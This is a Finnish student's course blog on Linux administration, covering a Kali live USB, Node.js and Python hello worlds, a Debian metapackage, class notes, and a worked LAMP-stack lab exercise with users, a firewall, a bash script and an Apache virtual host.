Kali on Linux-distribuutio, johon on valmiiksi sisällytetty useita tunkeutumistestaukseen liittyviä ohjelmia. Tulen itse käyttämään virtuaalista Kalia, mutta livetikku on myös hyvä olla olemassa.

Päätin käyttää livetikun tekemiseen Kalin sivuilta löytyvistä ohjeista mainittua Win32 Disk Imager -ohjelmaa, sillä se vaikutti yksinkertaiselta enkä kuullut, että kellään ryhmäläiselläni olisi ollut ongelmia kyseisellä ohjelmalla tehdyn livetikun kanssa.

Muistitikun kiinnitettyäni Win32 Disk Imager löysi laitteen automaattisesti. Etsin vain Kalin sivuilta lataamani .iso-tiedoston ja painoin Write-nappulaa. Pienen odottelun jälkeen tikku oli valmis ja kokeilin siltä boottaamista omalla läppärilläni. En heti tiennyt, mikä root-käyttäjän oletussalasana on live-tilassa, mutta sain nopeasti selville sen olevan ”toor”. Sisään päästyäni järjestelmä vaikutti toimivan normaalisti.

Työskentelen kuitenkin yleensä mielummin virtuaalikoneella, joten tein itselleni myös virtuaalisen Kali-koneen tehtävien tekemistä varten.

Uusi kurssi, uudet kujeet

Aloitin noin viikko sitten uuden Tero Karvisen kurssin, jonka teemana on tunkeutumistestaus. Opettelemme siis murtautumaan maaileiksi asetettuihin haavoittuviin tietokoneisiin, jotta ymmärtäisimme tietoturvaa paremmin käytännön tasolla. Kurssi on edennyt aika haipakkaa, sillä siihen kuuluu kokeen/labraharjoituksen lisäksi vain kuusi päivää lähiopetusta ja käsiteltävää asiaa on hyvin paljon. En olisi viikolla pitkien päivien ja aikaisten nukkumaanmenoaikojen takia ehtinyt kunnolla paneutua tehtäviin, joten säästin ne tälle viikonlopulle ja meinasinkin tykitellä kaikki tähän mennessä annetut tehtävät tänään ja huomenna.

Lisää laboratorioharjoitukseen valmistautumista

Hello World Nodejs Javascriptillä

Asennan ensin Nodejs:n näiden ohjeiden mukaisesti. Annan siis seuraavat komennot:

$ sudo apt-get update 
$ sudo apt-get install nodejs
$ sudo apt-get install npm
$ nodejs -v

v8.10.0

Tämän jälkeen alan noudattaa näitä ohjeita ja luon aluksi projektille kansion omaan kotihakemistooni:

noora@koekone:~/tiedostot/koodit$ mkdir testiapp
noora@koekone:~/tiedostot/koodit$ cd testiapp

Npm init-komento avustaa minua luomaan package.json-tiedoston:

noora@koekone:~/tiedostot/koodit/testiapp$ npm init

This utility will walk you through creating a package.json file.
It only covers the most common items, and tries to guess sensible defaults.
See npm help json for definitive documentation on these fields
and exactly what they do.
Use npm install <pkg> --save afterwards to install a package and
save it as a dependency in the package.json file.
Press ^C at any time to quit.
name: (testiapp)
version: (1.0.0)
description:
entry point: (index.js) app.js // <-- tämä ilmeisesti kannattaa muuttaa
test command:
git repository:
keywords:
author:
license: (ISC)
About to write to /home/noora/tiedostot/koodit/testiapp/package.json:
{
"name": "testiapp",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC"
}
Is this ok? (yes) y

Tämän jälkeen asennan vielä web framework Expressin:

noora@koekone:~/tiedostot/koodit/testiapp$ npm install express --save

Ja vihdoinkin pääsen tekemään itse Hello World -tiedoston:

noora@koekone:~/tiedostot/koodit/testiapp$ nano app.js
noora@koekone:~/tiedostot/koodit/testiapp$ cat app.js
var express = require('express');
var app = express();
app.get('/', function (req, res) {
res.send('Hello World!');
});
app.listen(3000, function () {
console.log('Example app listening on port 3000!');
});
noora@koekone:~/tiedostot/koodit/testiapp$ node app.js
Example app listening on port 3000!

Tämän jälkeen näen selaimessa localhostin portissa 3000 tekstin Hello World!

Hello World Pythonilla

Vastaava Hello World sujuu Pythonilla aika paljon vaivattomammin:

noora@koekone:~/tiedostot/koodit$ sudo apt-get install python3

noora@koekone:~/tiedostot/koodit$ nano heimaailma.py
noora@koekone:~/tiedostot/koodit$ python heimaailma.py
Hei maailma!

Oman metapaketin tekeminen

Hyödynnän tätä tehdessäni näitä Tero Karvisen ohjeita.

Aloitan asentamalla Equivs:in:

$ sudo apt-get update 
$ sudo apt-get -y install equivs

Tämän jälkeen luon pakettiin liittyvän tiedoston seuraavalla tavalla:

noora@koekone:~/tiedostot/paketti$ equivs-control nooran-paketti.cfg
noora@koekone:~/tiedostot/paketti$ nano nooran-paketti.cfg

Tämän jälkeen kasaan paketin komennolla:

noora@koekone:~/tiedostot/paketti$ equivs-build nooran-paketti.cfg

ja yritän suorittaa sen, mutta huomaan, että minulta puuttuu gdebi, jonka asennan:

noora@koekone:~/tiedostot/paketti$ sudo gdebi -n nooran-paketti_1.0_all.deb
[sudo] password for noora:
sudo: gdebi: command not found
noora@koekone:~/tiedostot/paketti$ sudo apt-get install gdebi

Gdebin asentumisen jälkeen ajan komennon

$ sudo gdebi -n nooran-paketti_1.0_all.deb

uudestaan, ja nyt kaikki paketissa määritellyt ohjelmat ja niiden riippuvuudet asentuvat mukavasti.

Paketin nimen vaihtaminen

En ole varma, olisiko tähän jokin kätevämpi tapa, mutta itse hoidin nimen vaihtamisen näin:

noora@koekone:~/tiedostot/paketti$ ls -a
. .. nooran-paketti_1.0_all.deb nooran-paketti.cfg
noora@koekone:~/tiedostot/paketti$ cp nooran-paketti.cfg nooran-parempi-paketti.cfg
noora@koekone:~/tiedostot/paketti$ ls -a
. .. nooran-paketti_1.0_all.deb nooran-paketti.cfg nooran-parempi-paketti.cfg
noora@koekone:~/tiedostot/paketti$ nano nooran-parempi-paketti.cfg

Muokkasin nanolla paketin nimeä, versiota ja kuvausta:

...
Package: nooran-parempi-paketti
Version: 1.1
...
Description: uudelleen nimetty pakettini
...

Tämän jälkeen rakensin paketin samalla tavalla kuin edellisen paketin:

$ equivs-build nooran-parempi-paketti.cfg
...
$ sudo gdebi -n nooran-parempi-paketti_1.1_all.deb
noora@koekone:~/tiedostot/paketti$ ls -a
. nooran-paketti_1.0_all.deb nooran-parempi-paketti_1.1_all.deb
.. nooran-paketti.cfg nooran-parempi-paketti.cfg
noora@koekone:~/tiedostot/paketti$ sudo gdebi -n nooran-parempi-paketti_1.1_all.deb
Reading package lists… Done
Building dependency tree
Reading state information… Done
Reading state information… Done
(Reading database … 198322 files and directories currently installed.)
Preparing to unpack nooran-parempi-paketti_1.1_all.deb …
Unpacking nooran-parempi-paketti (1.1) over (1.1) …
Setting up nooran-parempi-paketti (1.1) …

Kaikki paketin ohjelmat ovat kuitenkin jo asennettuina, joten paketti ei enää asenna mitään uudestaan.

WordPressin asentaminen

Aioin kokeilla myös WordPressin asentamista, mutta en jostain syystä pääse enää kirjautumaan MariaDB:hen root-käyttäjänä. Saan vain seuraavan errorin:

ERROR 1698 (28000): Access denied for user 'root'@'localhost'

, joten olen aika varma, että saatoin laittaa root-salasanaksi jotain muuta kuin mitä oletin laittaneeni. Tyyppi-käyttäjälläni ei taas ole oikeuksia luoda tietokantoja, joten en pysty luomaan WordPressin tarvitsemaa uutta tietokantaa. Normaalisti asentaisin vain MariaDB:n uudestaan, mutta en enää tässä vaiheessa taida jaksaa, varsinkin kun Maiju on kirjoittanut jo hyvät ohjeet WordPressin asentamisesta. Tarvittaessa voin siis lueskella kokeessa niitä.

Muuta sekalaista itseäni kenties hyödyttävää materiaalia

Lätkäisen tähän postaukseen vielä kasan tuntimuistiinpanojani siltä varalta, että minulle olisi niistä huomenna (tai miksei sen jälkeenkin) jotakin hyötyä.

apt-cache search vector art | grep vector
mv t * Documents/ -> siirtää kaikki t-alkuiset tiedostot documentteihin

curl -i
tail -F seuraa
curl -si osoite | header
man -k keyword -> hakee manuaalista
grep -i <- case insensitive
date --iso=min
grep -ir color-always
grep -r <- rekursiivisesti eli hakemiston alta

df -h <- systeemin kuormitus
sudo lsof -i :6600 <-- mitä portissa 6600 tapahtuu

ssh-keygen
ssh-copy-id helkera@helkera.com
ssh helkera@helkera.com

rsync -vazh --progress meso.txt helkera@helkera.com
v verbose
a säilyttää oikeudet
z pakkaus
h human readable form
jos haluaa kopioida kansion, älä laita loppuun kauttaviivaa

eka asenna sshfs
sudo apt-get install sshfs
ladataan koneeseen johon meinataan mountata hakemisto
sshfs helkera@helkera.com: /mnt/horsma
fusermount -u /mnt/noora <-- unmounttaa aseman
älä ole kansiossa kun unmounttaat
sudo umount /mnt/noora <-- toimi paremmin

sshfs -o reconnect,ServerAliveInterval=5,ServerAliveCountMax=3 helkera@helkera.com: ~/mnt/horsma
http://terokarvinen.com/2018/sshfs-securely-mount-filesystems-over-the-internet-survive-suspend-and-network-down
sudo ufw allow 443/tcp <- sallii https-liikenteen

logging analysis of security tero karvinen
nproc <-- prosessoriydinten määrä
top
uptime
dstat <-- verkkoliikenne
nethogs <-- kaistan kuormitus
netstat -pean | less
dstat <-- downloads
free -h
free vs available <-- available oikea määrä, free saattaa olla hyvin pieni
mutta tilaa vapautuu heti jos sitä tarvitaan
sudo iotop -oa
io-väylällä eri prosessit odottavat vuoroaan, kovalevyväylä
pstree <-- prosessipuu

which mitä ohjelmaa ajetaan
which python

--- bash-skriptin teko
nano tiedosto
alkuun #!/bin/bash
muut rivit
chmod ugo+x tiedosto
sudo cp tiedosto /usr/local/bin/
suoritetaan tiedoston nimellä

---- hello world python
python tiedoston nimi
ohjelman ajaminen parametrilla
python nelio.py 2

lat=d["iss_position"]["latitude"]
lat=float(lat) <--muuntaa stringistä liukuluvuksi

--- proxy ssh:lla
ssh -D portti käyttäjä@hosttaiip
nc -vz localhost porttinumero esim 9080 <--testaa, että portti on auki
curl localhost:9080


touch roska{0..10} <-- luo monta tiedostoa

rsync -r -v --exclude='Documents/Trash' Documents helkera@iptaihost:

nc -vz 172.28.172.231 80 <-- testataan, onko portti 80 auki

terokarvinen hello world programming languages ubuntu 18.04

salasana.txt
chmod og-rwx salasanat.txt

sudo adduser nmottone <- ei ääkkösiä
full nameen voi laittaa ääkkösiä

install pwgen

sudo apt-get purge poistaa paketin kokonaan

df -h <-- onko tilaa kovalevyllä

http://terokarvinen.com/2018/name-based-virtual-hosts-on-apache-multiple-websites-to-single-ip-address
http://terokarvinen.com/2018/php-database-select-and-insert-example-php-pdo
http://terokarvinen.com/2018/install-mariadb-on-ubuntu-18-04-database-management-system-the-new-mysql
http://terokarvinen.com/2018/arvioitava-laboratorioharjoitus-linux-palvelimet-ict4tn021-6-torstai-alkukevat-2018-5-op

http://terokarvinen.com/2017/arvioitava-laboratorioharjoitus-linux-palvelimet-ict4tn021-4-tiistai-alkusyksy-2017-5-op#comment-3119

http://terokarvinen.com/2016/final-lab-exercise-of-linux-basics-dat8tf063-27-spring-2016#comment-21591


sudo software-properties-gtk
sudo apt-get update


Seitsemännet tehtävät – vanhan arvioitavan laboratorioharjoituksen ratkaiseminen

Kurssimme alkaa nyt olla aivan loppusuoralla ja ensi tiistaina on vuorossa enää arvioitavan laboratorioharjoituksen tekeminen. Tämän viikon tehtävänä onkin jonkin omavalintaisen aikaisemman laboratorioharjoituksen ratkaiseminen. Tein itse jo tunnilla suurimman osan tästä harjoituksesta, joten tarkoituksenani on nyt ratkaista jokin muu harjoitus. Tämä vuoden 2017 alkusyksyn harjoitus vaikuttaa teemansa puolesta siisteimmältä, joten taidan valita sen.

LAMP-stack

NinjaTietokanta 

Haluamme tehdä palvelun, jossa listataan ninjaliikkeitä makeuden, tyylisuunnan ja muiden keskeisten ominaisuuksien suhteen.
Kehittäjämme haluavat käyttää LAMP (Linux Apache MySQL PHP) -pinoa. Asenna tarvittavat ohjelmistot ja tee tietokantaa käyttävä esimerkkiohjelma.

Aloitin testaamalla, vastaako localhost selaimesta. Ei vastaa, eikä pitäisikään. Asennan Apache2:sen komennolla

$ sudo apt-get install apache2

Tämän jälkeen localhost näyttää Apachen oletussivun, jonka ylikirjoitan komennolla

$ echo hei|sudo tee /var/www/html/index.html

Tämän jälkeen sivulle tulee lukemaan vain ”hei”. Tiedän jo tässä vaiheessa, että käyttäjiä tulee olemaan useita, ja heille tulee kaikille omat kotisivut, joten sallin tämän komennolla

$ sudo a2enmod userdir

, jonka jälkeen ajan myös komennon

$ sudo systemctl restart apache2

, jotta muutokset tulisivat voimaan.

Seuraavaksi testaan, että tähän mennessä tekemäni asiat toimivat. Teen omaan kotihakemistooni public_html -kansion, jonne teen yksinkertaisen index.html-sivun seuraavaa koodia käyttäen:

<html>
<head>
<meta charset="UTF-8">
<title>Hei Ninja!</title>
</head>
<body>
<p>Hei Ninja!</p>
<body>
</html>

Tallentamisen jälkeen menen selaimessa osoitteeseen localhost/~noora/ ja sivulle ilmestyy näkyviin teksti ”Hei Ninja!” kuten kuuluukin. Voin siis lähteä hyvillä mielin asentamaan MariaDB:tä ja PHP:tä. Asennan ensin PHP:n komennolla

$ sudo apt-get install php

Seuraavaksi sallin php:n suorittamisen käyttäjien kotihakemistoissa muokkaamalla tiedostoa /etc/apache2/mods-available/php7.2.conf
siten, että kommentoin viisi alinta riviä pois käytöstä. Tämän jälkeen käynnistän Apachen uudestaan komennolla

$ sudo systemctl restart apache2

ja siirryn muokkaamaan omaa index.html:ääni. Muutan tiedoston päätteeksi aluksi .php komennolla

$ mv index.html index.php

Tämän jälkeen lisään koodiini muutaman PHP-rivin:

<html>
<head>
<meta charset="UTF-8">
<title>Hei Ninja!</title>
</head>
<body>
<p>Hei Ninja!</p>
<?php echo "Hei taas, Ninja!"; ?>
<?php print (6+6); ?>

</body>
</html>

Selaimeen ilmestyy sivun tallentamisen ja päivittämisen jälkeen teksti ”Hei taas, Ninja! 12”, joten PHP vaikuttaisi toimivan. Seuraavaksi on siis vuorossa MariaDB, jonka asentamiseen käytän tukena Tero Karvisen sivuilta löytyviä ohjeita. Aloitan siis antamalla komennon

$ sudo apt-get install mariadb-client mariadb-server

MariaDB:n asennus vaatii ilmeisesti palomuurin, joten nyt lienee hyvä hetki säätää UFW:n asetukset kuntoon. Annankin seuraavat komennot:

noora@koekone:~/public_html$ sudo ufw allow 22/tcp
Rules updated
Rules updated (v6)
noora@koekone:~/public_html$ sudo ufw allow 80/tcp
Rules updated
Rules updated (v6)
noora@koekone:~/public_html$ sudo ufw enable
Firewall is active and enabled on system startup
noora@koekone:~/public_html$ sudo ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip
To Action From
-- ------ ----
22/tcp ALLOW IN Anywhere
80/tcp ALLOW IN Anywhere
22/tcp (v6) ALLOW IN Anywhere (v6)
80/tcp (v6) ALLOW IN Anywhere (v6)

Tämän jälkeen SSH- ja HTTP-liikenteen pitäisi olla sallittu ja voin siirtyä MariaDBn varsinaiseen asennukseen komennolla

$ sudo mysql_secure_installation

Asennuksessa määrittelen root-käyttäjälle uuden salasanan ja määrittelen muut asetukset seuraavasti:

Set root password? [Y/n] 
New password:
Re-enter new password:
Remove anonymous users? [Y/n] y
Disallow root login remotely? [Y/n] y
Remove test database and access to it? [Y/n] y
Reload privilege tables now? [Y/n] y

Seuraavaksi olisi tarkoitus luoda uusi tietokanta, jonne syötetään dataa. Tämän tehdäkseni kirjaudun MariaDB:hen komennolla

$ sudo mariadb -u root -p

Tämän jälkeen luon testitietokannan ja annan käyttäjälle tyyppi luvan sen käyttöön:

MariaDB [(none)]> CREATE DATABASE testdb;
Query OK, 1 row affected (0.00 sec)

MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| testdb |
+--------------------+
4 rows in set (0.00 sec)

MariaDB [(none)]> GRANT ALL ON testdb.* TO tyyppi@localhost IDENTIFIED BY 'XD8ZE3d_.n';
Query OK, 0 rows affected (0.00 sec)

Salasanan generoimiseksi asensin pwgen-ohjelman komennolla

$ sudo apt-get install pwgen

, jonka jälkeen generoin salasanan komennolla

$ pwgen -s 10 1 -1 -y

näiden ohjeiden mukaisesti. -s on lyhenne secure:sta, eli pwgen ei yritä erikseen tehdä salasanasta helpommin muistettavaa, vaan se arpoo merkit täysin satunnaisesti. Sitä seuraavat numerot tarkoittavat, että halusin yhden 10 merkkiä pitkän salasanan, jossa on vähintään yksi erikoismerkki.

Tämän operaation tehtyäni kirjauduin MariaDB:stä ulos ja kirjauduin uudestaan sisään juuri luomillani tunnuksilla:

$ mariadb -u tyyppi -p

ja tein tietokantaan seuraavat muutokset:

MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| testdb |
+--------------------+
2 rows in set (0.00 sec)
MariaDB [(none)]> USE testdb;
Database changed
MariaDB [testdb]> CREATE TABLE thing (id int auto_increment not null, name varchar(30),primary key(id));
Query OK, 0 rows affected (0.01 sec)
MariaDB [testdb]> INSERT INTO thing(name) VALUES("Ninja"),("Dinosaur"),("Owl"),("Book");
Query OK, 4 rows affected (0.00 sec)
Records: 4 Duplicates: 0 Warnings: 0
MariaDB [testdb]> SELECT * FROM thing;
+----+----------+
| id | name |
+----+----------+
| 1 | Ninja |
| 2 | Dinosaur |
| 3 | Owl |
| 4 | Book |
+----+----------+
4 rows in set (0.00 sec)

Tämän jälkeen poistuin MariaDB:stä ja siirryin muokkaamaan omaa index.php-sivuani. Lisäsin omalle sivulleni opettajamme kirjoittaman koodin omaan käyttööni muokatussa muodossa:

 <html>
<head>
<meta charset="UTF-8">
<title>Hei Ninja!</title>
</head>
<body>
<p>Hei Ninja!</p>
<?php echo "Hei taas, Ninja!"; ?>
<?php print (6+6); ?>

<p>All the things:</p>

<?php
// connect
$pdo=new PDO("mysql:host=localhost;charset=UTF8;dbname=testdb", 'tyyppi', 'XD8ZE3d_.n');
// list
$pdoStatement=$pdo->prepare('SELECT * FROM thing;');
$pdoStatement->execute();
$hits=$pdoStatement->fetchAll();
foreach($hits as $row) {
echo "<p>".$row['id']." ".htmlentities($row['name'])."</p>\n";
}
?>

</body>
</html>

Tässä vaiheessa taas muistin, että olin unohtanut asentaa erään puuttuvan palasen, ja korjasin tilanteen komennoilla:

$ sudo apt-get install php-mysql
$ sudo systemctl restart apache2

Tämän jälkeen listaus tuli sivulle näkyviin.

SSH:n asentaminen

Etätyötä
Haluamme työskennellä etäältä (kuin ninjat piiloistaan).

Oletan tämän tehtävänannon tarkoittavan, että SSH-yhteys pitäisi saada käyttöön. Aiemmin sallin SSH-yhteyden käytön palomuurin läpi, joten nyt puuttunee enää SSH:n asennus, joka tapahtuu komennolla

$ sudo apt-get install openssh-server

Käyttäjien kotisivut

Käyttäjät
Työntekijämme ovat toimitusjohtaja Nakke Nertola, Håkan Värs, Einari Mikkonen, Einari Öljysaari ja Eija Vähäkäähkä. Tee kaikille käyttäjille esimerkkikotisivut.

Työntekijöiden joukossa vaikuttaa olevan kaksi Einaria, joten käyttäjänimet on tässä tapauksessa todennäköisesti hyvä muodostaa sekä etu- että sukunimestä. Käyttäjänimet eivät saa sisältää ääkkösiä, joten luon seuraavanlaiset käyttäjätunnukset:

nakkener
hakanvar
einarmik
einarolj
eijavaha

ja laitan ne tiedostoon users.txt. Muutan sen jälkeen tiedostoa siten, että vain minä ja omaan ryhmääni kuuluvat henkilöt voivat lukea tai muokata sen sisältöä:

noora@koekone:~/tiedostot$ ls -l
total 4
-rw-rw-r-- 1 noora noora 45 maali 10 21:48 users.txt
noora@koekone:~/tiedostot$ chmod o-r users.txt
noora@koekone:~/tiedostot$ ls -l
total 4
-rw-rw---- 1 noora noora 45 maali 10 21:48 users.txt

Tämän jälkeen generoin kaikille käyttäjille omat salasanat users.txt -tiedostoon seuraavalla komennolla:

$ for i in $( cat users.txt ); do pwgen -s -1 10 1 | sed "s/^/$i /"; done

Komento antaa myös terminaaliin seuraavan tulosteen:

nakkener eQ9WjRcPeG
hakanvar Adq0VHlHsH
einarmik woBNWAxrP1
einarolj naPCdkMZj1
eijavaha nZw9eZAWq3

Nyt kaikilla käyttäjillä on suhteellisen hyvät salasanat, ilman erikoismerkkejä tosin. Voin siis alkaa lisäämään käyttäjiä.

Lisään kaikki käyttäjät samaan tyyliin kuin tässä tapauksessa, vain tunnukset, salasanat ja nimet vaihtuvat:

noora@koekone:~/tiedostot$ sudo adduser eijavaha
Adding user eijavaha' ... Adding new groupeijavaha' (1005) …
Adding new user eijavaha' (1005) with groupeijavaha' …
Creating home directory /home/eijavaha' ... Copying files from/etc/skel' …
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for eijavaha
Enter the new value, or press ENTER for the default
Full Name []: Eija Vähäkäähkä
Room Number []:
Work Phone []:
Home Phone []:
Other []:
chfn: name with non-ASCII characters: 'Eija Vähäkäähkä'
Is the information correct? [Y/n] y

Tämän jälkeen voin vielä varmistaa, että kaikki on niin kuin pitääkin antamalla komennon

$ less /etc/passwd 

Tiedoston hännillä on nyt lista juuri lisätyistä käyttäjistä:

nakkener:x:1001:1001:Nakke Nertola,,,:/home/nakkener:/bin/bash
hakanvar:x:1002:1002:Håkan Värs,,,:/home/hakanvar:/bin/bash
einarmik:x:1003:1003:Einari Mikkonen,,,:/home/einarmik:/bin/bash
einarolj:x:1004:1004:Einari Öljysaari,,,:/home/einarolj:/bin/bash
eijavaha:x:1005:1005:Eija Vähäkäähkä,,,:/home/eijavaha:/bin/bash

Nyt puuttuu enää käyttäjien kotisivujen tekeminen. Haluaisin kaikkien käyttäjien kotisivuille hieman erilaiset tekstit, joten näiden ohjeiden avulla kehittelin pienen koodinpätkän, joka tulostaa sivulle PHP-skriptin omistajan käyttäjätunnuksen:

<html>
<head>
<meta charset="UTF-8">
<title>Kotisivut</title>
</head>
<body>
<?php
echo "Hei kaikille! Minun käyttäjätunnukseni on " . get_current_user();
?>
</body>
</html>

Nyt voin kopioida saman sivun käyttäjien kotihakemistoihin. Käyttäjillä ei tosin ole omia public_html-kansioita, joten kirjaudun jokaisen käyttäjän tunnuksille seuraavantyylisellä komennolla

$ ssh nakkener@localhost

ja luon public_html-kansion kotihakemistoon komennolla

$ mkdir public_html

Kunkin käyttäjän hakemiston luomisen jälkeen kirjaudun ulos komennolla exit. Nyt kun jokaiselle käyttäjälle on luotu public_html -kansio, voin alkaa siirtelemään user.php-tiedostoa ympäriinsä scp-komennolla. Halusin, että oma user.php:ni näkyy suoraa kunkin käyttäjän kotihakemistossa, joten kopioin oman user.php:n ensin itselleni toiseen kansioon (minullahan on jo index.php, jonka toimintaa en halua häiritä), ja vaihdoin sen nimen index.php:ksi. Tätä index.php:tä kopioin muille käyttäjille:

noora@koekone:~/tiedostot$ ls -a
. .. index.php users.txt
noora@koekone:~/tiedostot$ scp index.php nakkener@localhost:/home/nakkener/public_html/
nakkener@localhost's password:
index.php 100% 216 386.8KB/s 00:00
noora@koekone:~/tiedostot$ scp index.php hakanvar@localhost:/home/hakanvar/public_html/
hakanvar@localhost's password:
index.php 100% 216 255.6KB/s 00:00
noora@koekone:~/tiedostot$ scp index.php einarmik@localhost:/home/einarmik/public_html/
einarmik@localhost's password:
index.php 100% 216 234.8KB/s 00:00
noora@koekone:~/tiedostot$ scp index.php einarolj@localhost:/home/einarolj/public_html/
einarolj@localhost's password:
index.php 100% 216 846.2KB/s 00:00
noora@koekone:~/tiedostot$ scp index.php eijavaha@localhost:/home/eijavaha/public_html/
eijavaha@localhost's password:
index.php 100% 216 411.2KB/s 00:00

Tämän jälkeen tarkistin selaimella, että index.php tuli näkyviin kaikkien käyttäjien kotisivuille, ja niin se tulikin. Tässä yksi kuva esimerkiksi:

Tulimuuri

Suuri muuri
Suojaa kone tulimuurilla.

Tämän tein jo MariaDB:n asentamisen yhteydessä, mutta kopioin prosessin vielä uudestaan tähän:

noora@koekone:~/public_html$ sudo ufw allow 22/tcp
Rules updated
Rules updated (v6)
noora@koekone:~/public_html$ sudo ufw allow 80/tcp
Rules updated
Rules updated (v6)
noora@koekone:~/public_html$ sudo ufw enable
Firewall is active and enabled on system startup
noora@koekone:~/public_html$ sudo ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip
To Action From
-- ------ ----
22/tcp ALLOW IN Anywhere
80/tcp ALLOW IN Anywhere
22/tcp (v6) ALLOW IN Anywhere (v6)
80/tcp (v6) ALLOW IN Anywhere (v6)

Bash-skriptin teko

WhoWhere
Tee kaikkien käyttäjien käyttöön komento, joka tulostaa Ninjamaisen tervehdyksen “Hello Ninja”, koneen IP-osoitteen ja komentoa ajavan käyttäjän nimen.

Tein omaan kotihakemistooni ensin nanolla tiedoston whowhere:

#!/bin/bash
printf "Hello Ninja\n"
hostname -I
whoami

En muistanut ulkoa bashin print-funktion käyttöä, rivinvaihtoa tai lyhyttä IP-osoitteen tarkistuskomentoa, joten jouduin metsästämään ne Googlesta. Skriptin ensimmäinen rivi kertoo, että skripti on tarkoitus ajaa nimenomaan bashilla.

Testattuani tiedoston toimintaa komennolla

$ ./whowhere

tajusin, ettei minulla ole vielä oikeuksia ajaa skriptiä, joten annoin oikeudet itselleni ja muille skriptin ajamiseen komennolla

$ ugo+x whowhere

Tämän jälkeen annoin komennon

$ sudo cp whowhere /usr/local/bin/

, eli siirsin tiedoston hakemistoon, josta sen voi suorittaa kuka tahansa käyttäjä riippumatta siitä, missä hakemistossa hän sillä hetkellä on. Testatakseni tätä kirjauduin Nakke Nertolan tunnuksille komennolla

$ ssh nakkener@localhost

ja whowhere-skripti toimikin myös hänen kotihakemistostaan käsin:

nakkener@koekone:~$ whowhere
Hello Ninja
10.0.2.15
nakkener

Viralliset kotisivut ja ninjatietokanta

SneakyGarden.Example.com
Virallinen ninjaliikesivumme tulee Eijan ylläpidettäväksi. Tee Eijalle valmis esimerkkisivu, jossa tietokannassa on seuraavat esimerkkiliikkeet vaikeustasoineen

Hyppykiertopotku 27
Kuperkeikka 3
Karjaisu 1

Sivun tulee olla Eijan muokattavissa ja ninjaliikkeiden näkyä osoitteessa http://SneakyGarden.Example.com. Nimipalvelun toimintaa voit simuloida hosts-tiedostolla.

En nyt tee Eijalle omia tietokantatunnuksia, vaan hän saakoon käyttää aikaisemmin luomiani tunnuksia. Kirjaudun aluksi Eijan tunnuksille komennolla

$ ssh eijavaha@localhost

ja tämän jälkeen kirjaudun MariaDB:hen tekemään aikaisemmin luomaani testdb-tietokantaan uuden ninjaliikkeet-taulun.

MariaDB [(none)]> USE testdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [testdb]> CREATE TABLE ninjaliikkeet(id int auto_increment not null, nimi varchar(40),vaikeus int, primary key(id));
Query OK, 0 rows affected (0.01 sec)
MariaDB [testdb]> INSERT INTO ninjaliikkeet(nimi, vaikeus) VALUES ("Hyppykiertopotku", 27),("Kuperkeikka", 3),("Karjaisu", 1);
Query OK, 3 rows affected (0.01 sec)
Records: 3 Duplicates: 0 Warnings: 0
MariaDB [testdb]> SELECT * FROM ninjaliikkeet;
+----+------------------+---------+
| id | nimi | vaikeus |
+----+------------------+---------+
| 1 | Hyppykiertopotku | 27 |
| 2 | Kuperkeikka | 3 |
| 3 | Karjaisu | 1 |
+----+------------------+---------+
3 rows in set (0.00 sec)

Tämän jälkeen teen Eijan kotihakemistoon public_sites -kansion ja sinne kansion nimeltä SneakyGarden.Example.com, jonka sisälle teen index.php-sivun:

<html>
<head>
<meta charset="UTF-8">
<title>Ninjaliikkeet</title>
</head>
<body>
<p>Ninjaliikkeet:</p>

<?php
// connect
$pdo=new PDO("mysql:host=localhost;charset=UTF8;dbname=testdb", 'tyyppi', 'XD8ZE3d_.n');
// list
$pdoStatement=$pdo->prepare('SELECT * FROM ninjaliikkeet;');
$pdoStatement->execute();
$hits=$pdoStatement->fetchAll();
foreach($hits as $row) {
echo "<p>".$row['id']." ".htmlentities($row['nimi']).", vaikeus: " .$row['vaikeus']."</p>\n";
}
?>

</body>
</html>

Tämän jälkeen palasin takaisin omille tunnuksilleni ja laitoin sivun käyttökuntoon Tero Karvisen ohjeiden mukaisesti:

noora@koekone:~/tiedostot/skriptit$ sudoedit /etc/apache2/sites-available/SneakyGarden.Example.com.conf
[sudo] password for noora:
noora@koekone:~/tiedostot/skriptit$ cat /etc/apache2/sites-available/SneakyGarden.Example.com.conf
<VirtualHost *:80>
ServerName SneakyGarden.Example.com
ServerAlias www.SneakyGarden.Example.com
DocumentRoot /home/eijavaha/public_sites/SneakyGarden.Example.com
<Directory /home/eijavaha/public_sites/SneakyGarden.Example.com>
Require all granted
</Directory>
</VirtualHost>
noora@koekone:~/tiedostot/skriptit$ sudo a2ensite SneakyGarden.Example.com
Enabling site SneakyGarden.Example.com.
To activate the new configuration, you need to run:
systemctl reload apache2
noora@koekone:~/tiedostot/skriptit$ sudo systemctl restart apache2
noora@koekone:~/tiedostot/skriptit$ sudoedit /etc/hosts
noora@koekone:~/tiedostot/skriptit$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 koekone
127.0.0.1 SneakyGarden.Example.com
127.0.0.1 www.SneakyGarden.Example.com

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Tämän jälkeen ninjaliikesivu tuli näkyviin osoitteessa sneakygarden.example.com:

Vallan vaihto

Uusi ylläpitäjä
Uusi ylläpitäjä on Jussi Laitavalo. Tee hänelle käyttäjätunnus jussi ja anna hänen käyttöönsä täydet pääkäyttäjän oikeudet.

Arvoin ensin myös Jussille salasanan pwgen -s 10 1 -1 -y -komennolla. Tämän jälkeen tein hänelle käyttäjätunnukset ja lisäsin hänet sudo-ryhmään seuraavalla tavalla:

noora@koekone:/etc/apache2/sites-available$ sudo adduser jussi
Adding user jussi' ... Adding new groupjussi' (1006) …
Adding new user jussi' (1006) with groupjussi' …
Creating home directory /home/jussi' ... Copying files from/etc/skel' …
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for jussi
